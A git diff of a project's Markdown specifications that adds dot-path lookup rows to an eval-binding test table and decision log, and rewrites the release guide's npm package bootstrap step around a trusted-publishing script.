| P2 | Bare binding with no env entry left verbatim | `{port}` with no `port` in `env.values` → `"{port}"` unchanged |
-| P3 | Bare binding does not match namespaced refs | `{meta.title}` and `{props.name}` not affected by eval binding pass |
+| P3 | Namespaced refs survive the eval binding pass | `{meta.title}` and `{props.name}` left verbatim — because `meta` and `props` are not bindings, not because the pattern rejects dots |
| P4 | Multiple bindings in one content | `{host}:{port}` → both substituted |
| P5 | Non-string binding converted via `String()` | `env.values.port = 49821` (number) → `"49821"` |
| P6 | Binding interpolation runs before modifier chain | Resulting `ctx.content` in modifier contains substituted value |
| P7 | Same-run env populated before interpolation | Eval result sets `port`; subsequent block interpolates correctly |
| P8 | Non-serializable binding remains current-run only | Function is usable in the current component expansion and absent from the trace |
+| P9 | Dot path reads a nested property | `{pr.meta.number}` with `env.values.pr = { meta: { number: "42" } }` → `"42"` |
+| P10 | Dot path traverses to any depth | `{a.b.c.d}` → the leaf value |
+| P11 | Dot path with an unknown root left verbatim | `{unknown.path}` with no `unknown` binding → `"{unknown.path}"` |
+| P12 | Dot path with a missing intermediate left verbatim | `{pr.nonexistent.field}` → unchanged, not `"undefined"` |
+| P13 | Dot path through `null` left verbatim | `env.values.pr = { meta: null }`, `{pr.meta.title}` → unchanged |
+| P14 | Bare and dotted references mix | `{pr.stats.totalFiles} files, port {port}` → both substituted |
### Tier Q — `daemon` modifier
@@ -6740,7 +6789,7 @@ must preserve the trace for diagnosis or remove it before starting a new run.
| 36 | `daemon` is a terminal modifier that ignores `next` | Process lifetime ≠ command result; `exec` in the chain satisfies the §3.2 detection rule without invoking `durableExec` |
| 37 | `daemon` uses `evalScope`, not the durable run scope | Lifetime matches component expansion — daemon lives for `` and dies with the component, not the whole document run |
| 38 | `daemon` produces no journal entry | The process is an ephemeral resource and starts on every run |
-| 39 | Eval binding interpolation uses bare `{name}` syntax | Distinct from `{meta.key}` and `{props.key}` namespaces; local eval bindings are local variables, not namespaced data; regex excludes names containing `.` to avoid conflicts |
+| 39 | Eval binding interpolation resolves `{name}` and `{name.path}` against `env.values` | A binding is a local variable, and reading into one should not require an eval block to flatten it first; the first segment must be a binding, so `{meta.key}` and `{props.key}` stay verbatim in code blocks by having no such binding rather than by a rule about dots — in text segments they never arrive, because `interpolate()` consumes them first |
| 40 | Eval binding interpolation runs in the expansion engine, not inside modifier factories | Modifiers transform execution results — they are not responsible for preparing source text; one interpolation site in `expandSegments` is consistent with how text segment interpolation already works, and keeps modifier factories free of knowledge about the binding environment |
| 41 | `findFreePort` is a standalone VM global using `node:net` | Port allocation is platform I/O; the function uses Effection's `once` + `race` for event handling and `try/finally` for guaranteed cleanup; exposed in the eval sandbox alongside other Effection globals |
| 42 | `findFreePort` result journaled with its eval block | The port number is a scalar export; no separate journal-entry type is needed |
diff --git a/specs/release-process-spec.md b/specs/release-process-spec.md
index af3b543c..bfeaeabe 100644
--- a/specs/release-process-spec.md
+++ b/specs/release-process-spec.md
@@ -207,31 +207,51 @@ tokens minted outside the gated environment.
## 6. Adding a new package
-npm exposes trusted-publisher settings only on a package that already exists,
-and the workflows carry no npm token, so bootstrap a new package by hand once:
+The workflows carry no npm token, so a new package is bootstrapped by hand
+once:
1. Create its directory under `packages/` with a `deno.json` (name under
`@executablemd`) and a `package.json` declaring its dependencies
(`workspace:*` for internal siblings). The root `deno.json` covers it through
the `packages/*` workspace glob, so membership needs no edit. Run
`deno task gen:publish-workflow` and commit the regenerated orchestrator.
-2. Publish its first version by hand as a logged-in `@executablemd` scope
- owner:
+2. Run `scripts/bootstrap-npm-package.md`, which reserves the name and
+ configures trusted publishing in one pass:
```sh
- deno run -A scripts/build-npm.ts
- ( cd /npm && npm publish --access public )
+ deno task xmd run scripts/bootstrap-npm-package.md --props-package packages/
```
- This covers a package with no `workspace:*` dependencies. A package that
- declares them cannot build its first artifact until those sibling versions
- are on npm, because the build resolves siblings from the registry. That
- bootstrap is tracked in #152 rather than specified here.
-3. Configure its trusted publisher with the table in §4.
-4. Create the package on jsr.io under the `@executablemd` scope and link it to
+ It previews first — npm version guard, manifest guards, registry state, and
+ `npm pack --dry-run` — then asks for a one-time code and publishes an empty
+ `0.0.0-bootstrap.0` artifact under the `bootstrap` dist-tag before applying
+ the §4 trusted-publisher configuration. It never publishes `latest`. A
+ failed preview asks for no code and writes nothing; re-running an
+ already-bootstrapped package skips the publish and re-applies the trust
+ configuration. Run it **without** `--journal` or `--verbose`: the code is
+ interpolated into the publish command, which the durable entry records.
+3. Create the package on jsr.io under the `@executablemd` scope and link it to
this repository, **before** the first tagged release that includes it.
`deno publish` fails for a package that does not exist on JSR, and the JSR
job publishes the workspace as a unit — so one uncreated package fails the
release for every package.
+**What the reservation is for.** It is not a precondition of trusted
+publishing: npm 11.17's `npm trust github` was accepted for
+`@executablemd/web` on 2026-08-02 while the registry still returned E404 for
+that name. What it does do is hold the name under the `@executablemd` scope and
+put a registry record in place ahead of the first tagged release, so the release
+publishes a version rather than a package.
+
+What pre-existence trust is **not yet known** to do is govern that first
+publish. Acceptance was observed; enforcement against a real first publish has
+not been. Until a bootstrap has been carried through to a tagged release, treat
+the reservation as load-bearing.
+
+The reservation itself is unaffected by `workspace:*` dependencies — the
+artifact it publishes is empty and declares none, so it needs no sibling on the
+registry first. Building a package's **real** first artifact still resolves
+siblings from the registry, and that remains #152 rather than something this
+step covers.
+
## 7. Recovery
Re-run failed jobs on the tag's own workflow run. Publishing skips an